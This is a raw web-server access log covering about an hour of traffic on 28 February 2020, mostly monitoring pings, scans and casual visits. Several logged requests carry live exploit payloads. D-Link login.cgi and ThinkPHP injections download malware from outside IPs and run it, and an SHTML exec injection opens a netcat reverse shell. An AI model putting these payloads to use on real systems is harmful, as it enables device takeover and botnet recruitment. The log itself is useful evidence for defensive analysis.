193.112.9.107 - - [28/Feb/2020:21:06:33 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:33 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:33 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:34 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:34 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:34 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:35 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [28/Feb/2020:21:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:21:06:36 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:37 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:37 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:37 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:37 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:38 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:38 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:40 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:41 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:41 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:41 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:41 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:41 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:42 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:43 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:43 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:45 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:45 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:45 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:46 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:48 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:48 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:49 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:49 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:49 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:49 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:50 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:51 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:51 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:52 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:53 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.9.107 - - [28/Feb/2020:21:06:53 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
222.141.140.67 - - [28/Feb/2020:21:07:10 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.18.70.223 - - [28/Feb/2020:21:09:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.108.48.209 - - [28/Feb/2020:21:13:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
212.91.246.72 - - [28/Feb/2020:21:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.224.151.156 - - [28/Feb/2020:21:13:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
37.49.226.137 - - [28/Feb/2020:21:13:49 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
37.49.226.137 - - [28/Feb/2020:21:13:54 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.146.118.69 - - [28/Feb/2020:21:16:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
46.101.232.43 - - [28/Feb/2020:21:27:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [28/Feb/2020:21:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [28/Feb/2020:21:31:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [28/Feb/2020:21:33:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [28/Feb/2020:21:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.211.21.176 - - [28/Feb/2020:21:35:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.232.60.155 - - [28/Feb/2020:21:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:21:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [28/Feb/2020:21:39:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:21:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.66.233.127 - - [28/Feb/2020:21:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.42.127.227 - - [28/Feb/2020:21:45:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
177.97.20.205 - - [28/Feb/2020:21:45:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [28/Feb/2020:21:46:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:21:46:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:21:46:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:21:46:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:21:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [28/Feb/2020:21:46:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:21:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.50 - - [28/Feb/2020:21:47:40 +0100] "GET /robots.txt HTTP/1.0" 404 315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.50 - - [28/Feb/2020:21:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [28/Feb/2020:21:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.144.154.79 - - [28/Feb/2020:21:53:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:21:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [28/Feb/2020:21:53:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:21:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.192.175 - - [28/Feb/2020:21:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
139.162.192.175 - - [28/Feb/2020:21:55:32 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:21:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.249.249.241 - - [28/Feb/2020:21:57:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:21:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:21:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.99.141.237 - - [28/Feb/2020:22:01:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [28/Feb/2020:22:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.202.219.205 - - [28/Feb/2020:22:02:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.235.216 - - [28/Feb/2020:22:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.99.141.237 - - [28/Feb/2020:22:08:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [28/Feb/2020:22:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.228.97.29 - - [28/Feb/2020:22:10:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.231.58.49 - - [28/Feb/2020:22:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
